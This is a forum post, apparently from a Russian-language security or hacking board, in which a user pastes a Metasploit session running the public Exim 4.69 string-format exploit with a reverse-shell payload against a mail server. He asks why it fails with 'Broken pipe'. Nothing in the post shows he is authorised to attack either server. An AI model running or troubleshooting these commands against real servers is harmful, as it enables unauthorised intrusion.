Показать сообщение отдельно

  #1  
Старый 12.12.2010, 21:10
p0deje
Новичок
Регистрация: 29.08.2010
Сообщений: 11
С нами: 8265206

Репутация: 0
По умолчанию

Столкнулся со следующей проблемой. На сайте крутится Exim 4.69.

Вывод nmap:

25/tcp open smtp Exim smtpd 4.69

Пытаюсь использовать готовый эксплойт в Metsploit - http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format

Вывод консоли:

msf > use unix/smtp/exim4_string_format

msf exploit(exim4_string_format) > set LHOST xxx

LHOST => xxx

msf exploit(exim4_string_format) > set RHOST yyy

RHOST => yyy

msf exploit(exim4_string_format) > set Payload generic/shell_reverse_tcp

Payload => generic/shell_reverse_tcp

msf exploit(exim4_string_format) > exploit

[-] Handler failed to bind to xxx:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Server: yyy ESMTP Exim 4.69 #1 Sun, 12 Dec 2010 11:00:32 -0600

220-We do not authorize the use of this system to transport unsolicited,

220 and/or bulk e-mail.
[*] EHLO: yyy Hello xxx [xxx]
[*] EHLO: 250-SIZE 52428800
[*] EHLO: 250-PIPELINING
[*] EHLO: 250-AUTH PLAIN LOGIN
[*] EHLO: 250-STARTTLS
[*] EHLO: 250 HELP
[*] Determined our hostname is xxx and IP address is xxx
[*] MAIL: 250 OK
[*] RCPT: 550-xxx (xxx) [xxx] is currently

550-not permitted to relay through this server. Perhaps you have not logged

550-into the pop/imap server in the last 30 minutes or do not have SMTP

550 Authentication turned on in your email client.
[*] DATA: 503-All RCPT commands were rejected with this error:

503-xxx (xxx.com) [xxx] is currently

503-not permitted to relay through this server. Perhaps you have not logged

503-into the pop/imap server in the last 30 minutes or do not have SMTP

503-Authentication turned on in your email client.

503 Valid RCPT command must precede DATA
[*] Constructing initial headers ...
[*] Constructing HeaderX ...
[*] Constructing body ...
[*] Sending 50 megabytes of data...

[-] Exploit exception: Broken pipe
[*] Exploit completed, but no session was created.

Что это за Broken pipe такой? Кто-нибудь вообще пробовал этот сплойт?

На другом сервере выдает:
[*] MAIL: 250 OK
[*] RCPT: 550-"JunkMail rejected - xxx (xxx.com) 550-[xxx]:50524 is in an RBL, see 550 http://www.spamhaus.org/query/bl?ip=xxx"

[-] Exploit exception: end of file reached
[*] Exploit completed, but no session was created.

Тут я тоже ничего не понимю
 
Ответить с цитированием